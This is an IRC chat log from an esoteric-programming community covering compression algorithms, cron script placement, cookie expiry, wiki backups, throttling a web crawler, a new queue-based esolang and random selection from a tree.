20:49:04 <zzo38> (So if for whatever reason you run a server on a blacklisted domain, you can still use URI schemes other than HTTP to get through; it can be helpful. Of course spammers will never do that so it is still OK)
20:49:29 <ais523> zzo38: why do you think Gopher spam isn't more popular than it is?
20:50:44 <zzo38> ais523: Lack of support in Google and Internet Explorer; and also that they cannot receive payments, and that they cannot trick you with Flash and popups and hidden fields and all that stupid stuff
20:51:19 <elliott> hmm, this thing doesn't seem to work
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20:53:51 <zzo38> Can I get a plain text version of CC0 so that it can be included in Haskell packages which are in the public domain? (This might solve the problem some people were complaining about when I created public domain Haskell packages, which is that public domain is not applicable in all jurisdictions)
20:54:58 <elliott> ais523: when you ask it to include image contents in XML dumps, MediaWiki encodes them in base64
20:55:08 <ais523> hmm, that /should/ compress well
20:55:09 <elliott> with DOS newlines, inexplicably
20:55:30 <ais523> aren't those standard for HTTP communication?
20:55:41 <zzo38> CRLF is the standard newlines on most internet protocols.
20:55:45 <fizzie> All MIME stuff is very CRLFy.
20:56:03 <elliott> ais523: well, in the file itself, I mean
20:56:12 <elliott> it goes from 164 megs to 18 megs gzipped
20:56:17 * elliott tries bzip2 out of curiosity
20:56:31 <ais523> I think bzip2 huffman-codes the individual bytes in the file
20:56:41 <zzo38> Sometimes they are called DOS newlines but it should be called printable newlines since CRLF is how it will print on a paper.
20:56:41 <ais523> so base64 and binary should come to almost exactly the same size bzip2ed
20:57:04 <ais523> although, I guess huffman-coding would work better on the binary if the original file had a very skewed frequency distribution
20:57:59 <elliott> -rw-r--r-- 1 www-data www-data 18M Feb 25 20:52 esolang.xml.gz
20:57:59 <elliott> -rw-r--r-- 1 root root 9.9M Feb 25 20:55 esolang.xml.orig.bz2
20:58:10 <elliott> bzip2 is really useless...
20:58:23 <elliott> I suppose it was useful for /something/ when xz didn't exist
20:58:29 <oerjan> <elliott> i did that at 13 :'( <-- yeah but you're elliott.
20:59:21 <ion> Did what at 13? (Do i want to know?)
20:59:31 <ais523> hmm, bzip2 is still the most compressy of the compression algos you typically get preinstalled on POSIXy systems
20:59:35 <ais523> and it's quite hard to beat
20:59:40 <zzo38> One idea I had for compression format, is for each file (or even part of a file said to be combined after decompression, or multiple files in a single block with an instruction to split after decompression), to have a reference to a compression program within the archive file. The compression program consists of reversible primitive instructions (reversible computing), with many common schemes as single instructions.
20:59:47 <ais523> I eventually got azip to do /slightly/ better than bzip2, but it couldn't compete even with lzma
21:00:13 <elliott> it's a rite of passage in england
21:00:17 <oerjan> ion: <elliott> 23:36:51: <itidus20> wow that jhix guy.. <nooga> he's 14 and he's writing interpreters in haskell and he knows lambda calculus and everything!!!!!!
21:00:37 <elliott> (That's an English euphemism for "eating a weasel".)
21:00:47 <fizzie> ais523: Also if you have a long repeated sequence, which any LZ-style compressor would encode as a back-reference, in the original binary, it doesn't necessarily translate to a repeated sequence in the base64 unless the distance between the starting points for original and repeated is a multiple of 3.
21:01:08 <oerjan> elliott: thus the expression "weaseling out" for people avoiding obligations
21:01:11 <zzo38> Is the idea I have about compression seems workable or anything else to you?
21:02:04 <zzo38> So that a compression scheme can be written in a reversible programming language designed for writing compression schemes.
21:02:05 <ais523> zzo38: it's a bit like using a self-extracting archive
21:02:11 <ais523> but with a more appropriate language
21:02:22 <fizzie> I can't really "reason" about what bzip2 does since it's got that BWT, which I don't really "intuit".
21:02:32 <ais523> fizzie: it's basically a sort by context
21:02:47 <ais523> you work out all cyclic permutations of the original file, then sort them
21:03:13 <zzo38> And possibly using for encryption as well, to require a password to decompress, if it uses instructions to request user input.
21:03:28 <ais523> and then record the /last/ character of each, in order
21:03:35 <ais523> the only really crazy thing about that operation is that it's reversible
21:04:18 <ais523> but you can expect the last character to tend to form long runs in a file with a lot of repetition, because if two cyclic permutations sort similarly to each other, they have a lot of characters in common, so the character before was probably the same as well
21:05:04 <zzo38> And then the user input simply becomes fixed data to the program if it is requested; that way it is still reversible; the user input is user input both on normal and reverse execution of the program.
21:05:54 -!- sebbu2 has changed nick to sebbu.
21:06:25 <kmc> (time (m-eval global-env '(m-eval global-env '(fact 5))))
21:06:25 <kmc> 598614 ms real time
21:06:52 <zzo38> ais523: I can understand like what you are saying about self-extracting; but in this case it would also be a binary code interpreted by a program which is uncompressor program, and the uncompressor program deal with options such as which files you want decompressed, listing the files, disassembling the program codes, etc
21:07:19 <zzo38> And that in this case it even is cross-platform instead of an executable file for a certain kind of computer or operating system.
21:08:37 <elliott> hey, somebody edit a page on the wiki
21:09:01 <ais523> for any particular reason?
21:10:19 <elliott> I knew that was going to happen before I loaded the wiki
21:10:26 <elliott> because I was looking through the access logs to check something
21:10:32 <ais523> I thought of putting actual spam there
21:10:46 <ais523> (I don't have many things that I could usefully spam; AceHack or Jettyplay, perhaps)
21:11:30 <zzo38> ais523: Perhaps if you want to mention AceHack or Jettyplay, use your own user page for that purpose instead.
21:11:36 <ais523> zzo38: but then it wouldn't be spam
21:11:58 <zzo38> I know. But just in case you wanted to mention them; it is not a requirement to mention them at all.
21:12:17 <ais523> elliott: did the test succeed?
21:12:28 <oerjan> <elliott> Phantom_Hoover: But surely "General links to people should be to standard namespace articles on them, if one exists, and to their user page otherwise." is awkward? It goes from plural to singular within the main bulk of the sentence.
21:12:54 <oerjan> ", if any exist, and to their user pages otherwise."
21:14:23 <elliott> oerjan: "if any exist" is nonsense
21:14:32 <elliott> oerjan: that implies you should link to a mainspace article if any articles on people exist
21:14:42 <elliott> ais523: that's secret! at least for the next five minutes or so
21:14:49 <oerjan> elliott: the alternative is to make the whole sentence singular, then
21:15:05 <ais523> hmm, a five-minute secret seems reasonable
21:15:11 <elliott> ais523: hey, where should I put a system-specific shell script to be called from a system user (= no homedir)'s crontab?
21:15:52 <oerjan> "A general link to a person should be to a standard namespace article on them,"
21:16:08 <ais523> elliott: /usr/lib subdir, right?
21:16:22 <ais523> "main namespace" is the technical term, I think
21:16:37 <oerjan> (choose your favorite gender neutral pronoun yourself)
21:16:46 <zzo38> Maybe, /usr/local/scripts/
21:16:51 <ais523> oh, I thought you meant arch-specific
21:16:54 <ais523> it's got to be in /etc, then
21:17:10 <zzo38> Or, /etc/local/scripts/
21:17:12 <elliott> I was thinking /usr/local/libexec/foo.sh
21:17:35 <elliott> oerjan: hm but the rest of the policies are plural :(
21:17:55 <elliott> ais523: surely /etc is only for system-local configuration of /existing/ programs
21:18:11 <oerjan> elliott: fine, rewrite it in chinese then
21:18:12 <ais523> elliott: /etc/cron.weekly?
21:18:24 <ais523> it's for configuration of cron, I guess
21:19:06 <elliott> ais523: ooh, I didn't realise that existed
21:19:15 <elliott> do you still have to put entries in crontab if you create something in there?
21:19:26 <elliott> also, is that just for root?
21:19:30 <ais523> no, the crontab runs everything in the directory at the appropriate intervals
21:19:54 <pikhq_> /usr/local/libexec or ~/local/libexec, I say.
21:20:14 <ais523> do system users normally /have/ home dirs?
21:20:27 <elliott> ais523: no, that's the point
21:20:32 <ais523> oh, huh, they mostly have home dirs in /var on this system
21:20:52 <elliott> /usr/local/lib or /usr/local/share, then, I suppose
21:21:04 <ais523> heh, "home dir" for a system user seems to be "dir most similar to what they do"
21:21:08 <ais523> e.g. "games" has a homedir of /usr/games
21:21:25 <zzo38> Do you have any comments about my ideas of Ibtlfmm programming language I was thinking about? (near timestamp 1330153950)
21:21:58 <pikhq_> Seems some distros prefer lib over libexec...
21:22:29 <pikhq_> In either case, /usr/local/ is maintained purely by you. The only things in there are things you personally installed.
21:23:35 <elliott> The /etc hierarchy contains configuration files. A "configuration file" is a local file used to control the operation of a program; it must be static and cannot be an executable binary. [4]
21:23:41 <elliott> hmm, are shell scripts binaries?
21:24:40 <elliott> pikhq_: FHS bans using */lib/* for executables, it seems
21:24:44 <elliott> including shell scripts, I think
21:25:13 <zzo38> And maybe instead of "return" and "join" I should just call it "eta" and "mu" like how it is usually in mathematics, or something similar;,like I don't know. Or the Maybe monad should be called a successor monad instead
21:28:36 <Friendship> elliott: $ file /usr/lib/gcc/x86_64-linux-gnu/4.6.2/cc1 /usr/lib/gcc/x86_64-linux-gnu/4.6.2/cc1: ELF 64-bit LSB executable
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21:32:31 <elliott> Friendship: eys it deprereprerperpeprecated that
21:32:35 <elliott> also, also, ghc does hat too, also
21:33:15 <Sgeo> How well/poor would ABCL be for writing Minecraft plugins?
21:33:51 <lambdabot> 535754303593133660474212524530000905280702405852766803721875194185175525562...
21:38:27 <elliott> ais523: hey, is gzip more effective if it knows the file of the size beforehand?
21:38:55 <elliott> meanwhile, http://esolangs.org/wiki/Fool
21:39:46 <ion> `run </usr/bin/gdb gzip | wc -l
21:39:50 <HackEgo> bash: /usr/bin/gdb: No such file or directory \ 0
21:40:02 <ion> `run </usr/bin/python gzip | wc -l
21:40:12 <Friendship> < isn't a good way to go, it's still stattable.
21:40:13 <ion> whoops, i mean -c
21:40:30 <ion> friendship: That’s what i was going to compare it to.
21:40:33 <ion> `run </usr/bin/python gzip | wc -c
21:40:38 <ion> `run cat /usr/bin/python | gzip | wc -c
21:40:49 <elliott> *does* gzip stat if it's using stdin, though?
21:41:10 <Deewiant> `run gzip -c /usr/bin/python | wc -c
21:41:30 <elliott> oh, presumably it includes the filename
21:43:33 <elliott> the one time when i don't want vim to auto-decompress a .gz file...
21:45:01 <elliott> pikhq_: Any other ideas for filesystem location? :P
21:46:18 <oerjan> elliott: heh, trying to open /// from history completion on my browser address line opens // instead
21:46:36 <elliott> oerjan: hmm, what URL does it have recorded for it?
21:46:46 <elliott> Deewiant: Doesn't work once vim has already started
21:47:35 <oerjan> elliott: hm indeed it's http://esolangs.org/wiki///
21:47:47 <oerjan> adding an extra / fixes it
21:48:04 <ais523> elliott: I don't think gzip is
21:58:52 <ais523> whereas it doesn't matter for bzip2 either, because it waits for the EOF or an entire maximum-it-can-compress block before starting to compress either
22:02:45 <elliott> heh, ais523 won't like this: "Default cookie lifetime ($wgCookieExpiration) is increased to 180 days."
22:03:07 <ais523> not really; if I /want/ a cookie, I may well want it to persist
22:03:22 <ais523> there's a reason I approve/disapprove of cookies manually, rather than just blanket-blocking them all
22:05:17 <elliott> the active user count on http://esolangs.org/wiki/Special:Statistics is still broken :(
22:06:08 <zzo38> There should be a checkmark to not expire any cookie of this wiki, and make it only expire if keys change on the server.
22:06:23 <elliott> i don't believe cookies can never expire
22:07:40 <ais523> right, but you can tell cookies to not expire due to the passage of time
22:08:40 <ais523> you could just set an expiration date past Y2038
22:08:54 -!- Ngevd has joined.
22:09:50 <ais523> elliott: it is, because that's when the date rolls round
22:10:05 <elliott> cookies don't use 32-bit timestamps
22:10:21 <elliott> and modern OSes have used 64-bit timestamps for years
22:10:28 <ais523> but do modern browsers?
22:10:48 <elliott> they'll probably just use time_t
22:11:18 <zzo38> Do you like to use redundant userboxes that are redundant?
22:11:55 <ais523> elliott: time_t is 32-bit on 32-bit systems, usually, isn't it?
22:12:04 <elliott> zzo38: your site doesn't work via HTTP any more :(
22:12:25 <elliott> ais523: I don't think it is nowadays
22:12:49 <ais523> !c printf("%d\n", (int)sizeof(time_t));
22:13:05 <ais523> so that won't be too useful
22:13:28 <Ngevd> What if you set it to a date before 1970?
22:13:29 -!- itidus21 has quit (Ping timeout: 244 seconds).
22:13:41 <Ngevd> Is that crazy enough to work?
22:15:00 <ais523> $ echo -e '#include <time.h>\n#include <stdio.h>\nint main(void){printf("%d\\n", (int)sizeof(time_t)); return 0;}' | gcc -x c /dev/stdin && ./a.out
22:15:22 <elliott> nobody uses 32-bit any more anyway :p
22:15:31 <ais523> I use 32-bit OS on 64-bit hardware
22:15:32 <elliott> and the browser uses a 32-bit value
22:15:34 <elliott> then it'll just wrap around
22:15:35 <Ngevd> (I know nothing of the interior of http, nor the intererior of web browsers, and only basic web design)
22:15:38 <elliott> and thus be expired immediately
22:16:01 <ais523> "-x c" is a useful command-line switch
22:16:12 <ais523> C-INTERCAL doesn't have an equivalent, so I have a symlink to /dev/tty called tty.i
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22:18:55 * elliott still doesn't know where to put that cron job :(
22:19:36 <elliott> also, what's a good time to run a cron job that might slow things down slightly for a few minutes?
22:21:15 <elliott> Ngevd: I was thinking 5-7 AM
22:21:23 <elliott> either 5 AM, 6 AM, or 7 AM UTC
22:21:35 <Ngevd> That's like, when I'm most productive!
22:21:47 <ais523> elliott: I was going to suggest 6-8 AM UTC, because that's pretty early in the UK, and translates to night in the US too
22:21:54 <ais523> perhaps a little later, at 9AM UTC
22:22:14 <elliott> technically people might wake up at 7 am and browse esolang while eating their cornflakes :P
22:22:22 <elliott> Friendship: i thought you were east coast
22:22:35 <Friendship> I am, but I've heard that even after I moved, people continued to live there.
22:24:30 <elliott> Friendship: so out of 5,6,7,8 AM UTC which is nicest for you
22:28:25 <Ngevd> But I can live with any of them
22:28:48 <Ngevd> Actually, thinking about it, 7 is the best
22:29:05 <ais523> it probably won't matter much, but I know that 10am UTC I'd be quite likely to be using esolangs.org, 9am UTC I wouldn't
22:29:14 <oerjan> i think i prefer approx. 17:00 UTC *mad cackle*
22:29:16 <ais523> so that's what it's like for a Brit
22:29:25 <elliott> oerjan: oh i didn't realise youw ere here!
22:29:30 <elliott> OUT OF THE OPTIONS THERE which is best
22:29:41 <elliott> ais523: neither of those were one of the options! :P
22:29:51 <ais523> elliott: but it's an indication of where the cutoff is
22:30:06 <Friendship> Incidentally, 7BST would probably be better since most of us have silly daylight savings time ;)
22:30:07 <ais523> so I'm reasonably indifferent between those
22:30:11 <oerjan> elliott: i think they're about the same for me
22:30:26 * elliott has seen ais523 online at 5 AM
22:30:44 <ais523> right, most commonly on the Saturday -> Sunday boundary
22:30:50 <ais523> it may well happen tonight, in fact
22:31:14 <elliott> ais523: i suppose 5,6,7,8 are all equally bad from that perspective then
22:31:40 <ais523> elliott: or indeed, equally good
22:31:44 <elliott> (this is hard to change after-the-fact, btw)
22:31:54 <elliott> (because hypothetical backuppers will set cronjobs by it)
22:33:15 <oerjan> elliott: i don't think there's a big difference
22:35:25 * oerjan once again ponders why his /// quine had to use quoting tokens one character longer than the BCT interpreter
22:36:23 <oerjan> (it's because i couldn't manage to avoid having the sequence //\\ in the program proper)
22:36:27 <zzo38> Do you have any comments of my ideas near timestamp 1330153950?
22:37:06 <elliott> Friendship: Where would YOU put a shell script to be run from a crontab of a system user?
22:38:06 <elliott> Do users without /homes even *have* crontabs?
22:39:59 <elliott> ais523: is this grammatically correct? *General links to people should be to a standard namespace article on them, if one exists, and to their user page otherwise. When linking to a user page, the User: prefix should be visible on the link.
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22:40:25 <ais523> it's correct, although a little tricky to parse
22:40:54 <Ngevd> Esolang thinking time
22:41:04 <Ngevd> A queue-based functional language
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22:41:23 <Ngevd> It would have forward Polish notation
22:41:41 <monqy> what would that do
22:42:03 <monqy> what does that mean
22:42:13 <Ngevd> It puts 11 into a monad
22:42:36 <elliott> But seriously, <elliott> Do users without /homes even *have* crontabs?
22:46:47 <pikhq_> I don't think so, though POSIX permits it.
22:47:49 <pikhq_> User crontabs are in /var/spool/cron/crontabs, at least in vixie cron.
22:48:11 <elliott> So, erm, did we ever come to a consensus on where to put this bloody shell script?
22:48:24 <pikhq_> Most common crons are either vixie cron or forks thereof, so there you go.
22:49:02 <pikhq_> I think /usr/local/libexec or /usr/local/lib is your best bet.
22:49:27 <pikhq_> Say, /usr/local/lib/admin-scripts/foo.sh
22:50:16 <elliott> The /usr/share hierarchy is for all read-only architecture independent data files. [30]
22:50:16 <elliott> This hierarchy is intended to be shareable among all architecture platforms of a given OS; thus, for example, a site with i386, Alpha, and PPC platforms might maintain a single /usr/share directory that is centrally-mounted. Note, however, that /usr/share is generally not intended to be shared by different OSes or by different releases of the same OS.
22:50:17 <elliott> For example, the perl5 subdirectory for Perl 5 modules and libraries.
22:50:32 <elliott> Much of this data originally lived in /usr (man, doc) or /usr/lib (dict, terminfo, zoneinfo).
22:50:39 <elliott> I don't think that excludes using /usr/share to store shellscripts.
22:50:54 <elliott> /usr/lib includes object files, libraries, and internal binaries that are not intended to be executed directly by users or shell scripts. [22]
22:50:54 <elliott> Applications may use a single subdirectory under /usr/lib. If an application uses a subdirectory, all architecture-dependent data exclusively used by the application must be placed within that subdirectory. [23]
22:50:57 <elliott> Miscellaneous architecture-independent application-specific static files and subdirectories must be placed in /usr/share.
22:51:02 <elliott> seems to exclude putting shell scripts in /usr/lib to me
22:51:12 <elliott> (and by analogy /usr/local/lib_)
22:53:29 <elliott> Fuck it, hi there /usr/local/lib/cron/[CENSORED]
22:56:51 <elliott> pikhq_: Hey, did you say what time is best for you?
22:56:58 <elliott> Friendship: ais523: oerjan: Ngevd: I went for 6 am, btw
22:57:44 <ais523> elliott: [censored] is the actual name of the script? if not, it should be
22:58:00 <elliott> If I said yes, would you believe me?
22:59:12 <pikhq_> elliott: What are you going with right now?
22:59:42 <elliott> Bt the options are, like, 5-7 UTC.
23:00:29 <pikhq_> 05:00-07:00, or 17:00 to 19:00?
23:01:07 <pikhq_> Looks like the 05:00-07:00 range.
23:01:25 <pikhq_> Mmm... T0700Z, I suppose.
23:01:55 <Ngevd> In my UPCOMING QUEUE ESOLANG, things are very weird
23:01:59 <elliott> OK, I'll stick with 6 AM for now, then.
23:02:15 <elliott> I'm running the script now FWIW.
23:02:18 <elliott> Is the wiki going at normal speed?
23:02:34 <elliott> It should only go very slightly slower at the worst.
23:02:41 <Ngevd> That would become * 5 17, then 85
23:03:07 <Ngevd> And because a value is at the top of the stack, that is converted to a character
23:03:44 <Ngevd> Actually, it's a queue
23:03:49 <Ngevd> AN INVISIBLE QUEUE
23:04:07 -!- derdon has joined.
23:04:35 <Ngevd> The program is converted into a queue of functions on integers and integers
23:04:54 <Ngevd> I have no idea how + + + would work
23:07:53 <Ngevd> Maybe having two consecutive functions at the head of the queue would rotate the queue?
23:08:12 <Ngevd> So, + + + 7 8 would become + + 15?
23:08:47 <Ngevd> I think all the functions need to be overloaded
23:08:54 -!- zzo38 has left.
23:09:25 <Ngevd> Perhaps + is the functional thingy like Haskell's .
23:16:01 <elliott> ais523: http://esolangs.org/wiki/Esolang:Wiki_dumps
23:16:07 <oerjan> well you mean "op1 op2 op3 arg1 arg2 ..." becomes "op3 arg1 arg2 ... op1 op2"?
23:16:41 <Ngevd> A Hello World program would be
23:16:41 <Ngevd> 72 101 108 108 111 44 32 87 111 114 108 100 33 H
23:16:42 <oerjan> an alternative would be to let it evaluate "op3 arg1 arg2 ..." one step
23:16:59 <ais523> elliott: hmm, I might put that in anacron, if I can remember how
23:17:00 -!- augur_ has changed nick to augur.
23:17:13 <oerjan> and then if it starts with enough arguments, going to op2
23:17:35 <Ngevd> That takes away the queue nature somewhat, though
23:18:11 <oerjan> > map (chr . read) $ words "72 101 108 108 111 44 32 87 111 114 108 100 33"
23:18:23 <elliott> ais523: as long as you use zsync P:
23:18:31 <ais523> actually, I'll do it manually
23:18:38 <ais523> I'm usually offline, and I don't think there's a cron-while-online thing
23:18:50 <elliott> (OK, 19 megabytes a day probably isn't too bad, but (a) it's a pain for users (b) it multiplies)
23:19:10 <oerjan> Ngevd: my latter would be same as saying it always takes the leftmost function which has enough arguments
23:19:52 <ais523> elliott: hmm, that's a gzipped file, right?
23:20:02 <ais523> would you expect it to stay mostly the same between downloads, if it's compressed?
23:20:13 <ais523> oh, it's downloading the gzipped version, not the unzipped version
23:20:18 <ais523> but the unzipped one is what you specify
23:21:05 <Ngevd> I'm thinking of calling this "Fueue"
23:21:05 <oerjan> Ngevd: oh, your first has the nice property that the queue is essentially circular
23:21:24 <elliott> it generates the gzip file specially so that it can do incremental downloads of it
23:21:42 <oerjan> you just move the ip one step forward in the circle if there are not enough arguments to apply a function
23:21:43 <ais523> still, the file will be changing in the middle, rather than at the end
23:21:46 <ais523> I wonder if that'll confuse it
23:21:55 <elliott> ais523: no, it looks inside the file
23:22:01 <elliott> and makes zlib do alignment so that it works out
23:22:06 <elliott> I don't know the details, but it's fancy
23:25:19 * elliott emails pgimeno about the dumps
23:25:27 <elliott> Your Linode, solidity, has exceeded the notification threshold (1000) for disk io rate by averaging 3115.59 for the last 2 hours. The dashboard for this Linode is located at: <https://manager.linode.com/linodes/dashboard/solidity>
23:25:40 <elliott> heh, because of the backups
23:26:23 <ais523> elliott: what happens if you do too much disk IO on Linode?
23:26:30 <ais523> do they charge extra, or throttle it, or what?
23:26:53 <itidus21> you would hope they throttle it
23:27:09 <elliott> ais523: no, it's just a configurable warning
23:27:16 <elliott> to notify you of potential problems
23:27:19 <ais523> that lets you know that something might be going wrong
23:27:21 <elliott> you can set the rate it warns you for
23:28:23 <elliott> oh, zsync also does checksumming
23:28:58 <pikhq_> That's kinda a big part of the rsync algorithm. :)
23:29:17 <elliott> Note to self: "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
23:29:25 <elliott> (a /really/ badly-behaved spider)
23:29:27 <mRoman> The esodump is 150mb big?
23:29:42 <elliott> mRoman: yes, it includes all files and revisiosn
23:29:48 <elliott> it's only 19 megs compressed, though
23:30:22 <pikhq_> elliott: What's so badly behaved about said spider?
23:30:29 <ais523> elliott: does it obey robots.txt?
23:30:39 <elliott> doesn't even look at /robots.txt, spiders *really aggressively*
23:30:55 <elliott> like, it's a considerable percentage of entries in the log file
23:30:58 <pikhq_> ... It doesn't read robots.txt?
23:31:12 <pikhq_> iptables the shit out of it.
23:31:24 <elliott> i was going to just block its hostname at the server level
23:31:30 <elliott> i guess iptables would use less bandwidth
23:31:30 <ais523> elliott: it claims to look at robots.txt
23:31:32 <elliott> but i have no idea how to use iptables
23:31:35 <ais523> and to obey Crawl-delay
23:31:41 <elliott> ais523: every bot claims to be well-behaved
23:31:58 <ais523> it also says that there are bots that imitate it, and suggest that you rDNS the IP
23:32:25 <ais523> Yandex own yandex.ru, yandex.net, yandex.com, and forward- and reverse-DNS correctly
23:32:36 <ais523> and they recommend you check the IP to make sure
23:32:39 <elliott> I stand corrected, it did load /robots.txt
23:32:41 <elliott> but I don't think it's obeying it
23:33:01 <elliott> ais523: this one is the real thing
23:33:14 <elliott> it's still spidering far faster than any good bot would, though
23:33:15 <pikhq_> elliott: How so? Doesn't look like you're disallowing /wiki
23:33:48 <pikhq_> I'd try adding a Crawl-delay for them.
23:33:51 <ais523> elliott: try putting in a Crawl-delay:1 just after the Disallow line
23:34:12 <ais523> Phantom_Hoover: that doesn't even make sense
23:34:14 <elliott> ais523: yeah, I'll consider it; I wasn't quoting that because I'm going to ban it for sure, anyway
23:34:18 <ais523> unless PHP needs an embedded JS interp for some reason
23:34:19 <elliott> just in case I did want to, later
23:34:37 <elliott> I love the "X, like Y" convention that user-agents have sprung up
23:34:53 <elliott> "CPU OS 5_0_1 like Mac OS X"
23:35:13 <Phantom_Hoover> Like, they had some speech-recognition-specific function in the standard library for some reason.
23:35:21 <ais523> elliott: this is what happens with something like user-agent sniffing which wasn't standardised in advance
23:35:29 <ais523> Phantom_Hoover: it's because most PHP users wouldn't be able to install libraries
23:35:33 <pikhq_> And was handled by morons.
23:35:37 <ais523> so they have to put it into the core to make sure it's always available
23:35:46 <Ngevd> I wonder if this is Turing Complet
23:35:49 <ais523> "yandex, like Googlebot"
23:35:51 <Phantom_Hoover> Anyway, this makes perfect sense: it lets you use Javascript instead of PHP.
23:35:55 <pikhq_> "Check for string 'Mozilla'... Okay, we can use HTML 3!"
23:36:14 <elliott> I like how everybody criticises PHP's library but loves Python's
23:36:20 <elliott> probably namespaces are the difference
23:36:31 <ais523> elliott: oh, I don't like the bloat in Python's either
23:36:37 <ais523> but I'm probably a bit of a special case there
23:39:39 <ais523> oh, something I discovered today; you can tell strings(1) to look for UTF-16
23:40:34 <elliott> elliott@solidity:~$ sudo grep -i yandex /var/log/nginx/access.log | wc -l
23:40:34 <elliott> elliott@solidity:~$ sudo grep -i Googlebot /var/log/nginx/access.log | wc -l
23:46:06 <tswett> In Python, if you define a function bar() inside of a class Foo, then Foo.bar becomes a method instead of an ordinary function, and instances of Foo get weird access to it.
23:46:20 <tswett> Does anything special happen if you define a class Bar inside of a class Foo?
23:46:30 <tswett> Or does it just create a class Foo.Bar and that's that?
23:48:24 <Ngevd> Fueue spec on wiki
23:48:48 <Ngevd> I don't think it's Turing-Complete
23:49:37 <Ngevd> Actually, is it too late to decategorize and move into my user space?
23:49:43 <Ngevd> No, I'm not doing that
23:50:03 -!- Ngevd has quit (Quit: Goodbye).
23:51:17 <elliott> ais523: hey, what's a good way of purely-functionally picking a random element from a tree that satisfies a predicate?
23:51:37 <elliott> (assume you have a "RandomGen -> Range -> (IntInRange, RandomGen)" function or such)
23:51:42 <ais523> elliott: random as in arbitrary, or as in equally weighted?
23:52:44 <elliott> right now I'm collecting all elements from the tree that satisfy the predicate into a linked list, picking a random number in [0,elemsThatSatisfyIt-1] and then getting that element from the linked list
23:52:49 <elliott> which sucks, because linked list indexing is O(n)
23:52:50 <ais523> traverse the tree, checking each element to see if it satisfies the predicate, adding the ones that do to an indexable pure-functional structure, then select a random index, then pick the element with that index from it
23:53:04 <ais523> I'm trying to figure out what purely functional structures are indexable
23:53:19 <tswett> Does each tree node carry around the number of leaves it has?
23:53:35 <tswett> If so, you can use that to descend to a random leaf.
23:53:56 <elliott> tswett: Yes, but it has to be equally-weighted among the elements that satisfy the predicate.
23:53:56 <tswett> If not, why not" Go to '3:19.
23:54:02 <elliott> ais523: "adding the ones that do to an indexable pure-functional structure, then select a random index, then pick the element with that index from it"
23:54:07 <ais523> elliott: are you expecting most elements to satisfy the predicates?
23:54:15 <elliott> there's 2,3 finger trees (aka Seq)
23:54:18 <tswett> No biggie. Select random elements from the tree, without replacement, until you find one that satisfies the predicate.
23:54:40 <elliott> but indexing is O(log(min(i,n-i)))
23:54:48 <elliott> and it has "just OK" constant factors
23:54:49 <tswett> Unless you know something about where the good leaves are, in advance.
23:54:59 <ais523> as in, if you select a random element, is it probably going to satisfy the predicate?
23:55:03 <elliott> tswett: FSVO equally-weighted, I presume
23:55:20 <elliott> it's most likely not going to
23:55:20 <ais523> the best algo would probably depend on that
23:55:27 <elliott> ais523: also, in the vast majority of cases, only *one* will
23:55:28 <ais523> hmm, traversing's probably better, then
23:55:33 <elliott> and I'd prefer to avoid the random selection at all in that case
23:55:34 <tswett> This algorithm will select every good leaf with equal probability. There's no bias anywhere.
23:55:46 <ais523> oh, in that case, your existing algo is probably best, except in pathological cases
23:55:47 <elliott> but it'll be really slow :)
23:55:53 <elliott> because of the linked list
23:56:04 <ais523> elliott: but a linked list is pretty good for small n
23:56:22 <tswett> But when (and if) you implement the "without replacement" part, you'll need to remove each bad leaf you encounter from the tree, and update the tree's metadata.
23:56:50 <elliott> ais523: not as good as I'd like :(
23:56:51 <ais523> tswett: removing an element from a tree is expensive in a pure-functional language
23:56:54 * Sgeo wonders if he should be alarmed that in Common Lisp, (car nil) and (cdr nil) both give nil
23:56:59 <tswett> Otherwise, the tree ((bad bad bad bad good) (good)) will be biased toward... um...
23:57:05 <elliott> ais523: not /that/ expensive
23:57:17 <ais523> right, it's only O(log n) if the tree is balanced
23:57:27 <elliott> it is sort of balanced, IIRC
23:57:40 <ais523> assuming that the language shares common subtrees, and without mutation it has no reason not to do that
23:57:42 <elliott> The implementation of Map is based on size balanced binary trees (or trees of bounded balance) as described by:
23:57:42 <elliott> Stephen Adams, "Efficient sets: a balancing act", Journal of Functional Programming 3(4):553-562, October 1993, http://www.swiss.ai.mit.edu/~adams/BB/.
23:57:42 <elliott> J. Nievergelt and E.M. Reingold, "Binary search trees of bounded balance", SIAM journal of computing 2(1), March 1973.
23:57:45 <Sgeo> elliott, is Common Lisp a bad language in your opinion?
23:58:15 <oerjan> hm you can select a random element from a list without traversing it more than once.
23:58:38 <oerjan> (including no need to calculate the length first)
23:58:47 <tswett> Maybe you could pre-optimize things by forming the tree into a tree.
23:58:49 <elliott> oerjan: that's not helpful
23:58:57 <elliott> (I can accumulate it as I traverse the tree)
23:59:15 <oerjan> elliott: no, that's not what i mean
23:59:31 <oerjan> for this to be efficient, the list must be produced lazily.
23:59:41 <oerjan> and consumed. then this could fuse.
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23:59:48 <elliott> i highly doubt it will fuse
23:59:52 <elliott> at least I doubt Data.Map.toList does
23:59:53 -!- tzxn4 has quit (Read error: Connection reset by peer).
00:00:05 <oerjan> elliott: you _could_ use build >:)
00:00:14 <elliott> anyway, traversing the whole thing is probably the best because of the 90% case
00:00:22 <elliott> i.e. exactly one element satisfying the predicate
00:00:42 <oerjan> anyway you don't need to construct the list, either.
00:01:53 <ais523> elliott: traverse it; remember the first element that passes you encounter with a 1/1 chance, then if you encounter a second, replace it with that with a 1/2 chance, then a 1/3 chance, etc
00:02:03 <ais523> the last element you end up with will be random and equally weighted
00:02:11 <oerjan> ais523: yep that's what i was thinking
00:02:25 <elliott> but I suspect that performs badly for the common case
00:02:31 -!- tzxn3 has quit (Ping timeout: 240 seconds).
00:02:46 <elliott> the thing is that if i pre-traverse, I can avoid doing /any/ RNG generations
00:02:56 <elliott> I don't think GHC's RNG is fast
00:03:17 <oerjan> elliott: except for the final index, i assume...
00:03:28 <ais523> elliott: that ends up well for the common case
00:03:39 <elliott> I meant I can avoid it if there's only one satisfier
00:03:41 <ais523> if there's only one element, you don't RNG call, you only need an RNG call for the second
00:04:00 <ais523> it's the rare case where it's bad, as it uses O(n that satisfy predicate - 1) RNG calls
00:05:10 <oerjan> now i'm wondering however, if there's a way to do this only selecting n random bits where 2^(n-1) < length of list <= 2^n
00:06:49 <oerjan> or i mean, using just a single RNG number in some way, changing its interpretation as you discover more elements
00:07:35 <oerjan> there's that usual problem with 1/3 not being k/2^i
00:08:33 <oerjan> wait, this is essentially a fisher-yates shuffle, except you're only keeping the first element.
00:10:05 <elliott> something smells kind of fisher-yatesy to me
00:10:49 <ais523> I was surprised that Fisher-Yates even had a name, it was so obvious to me
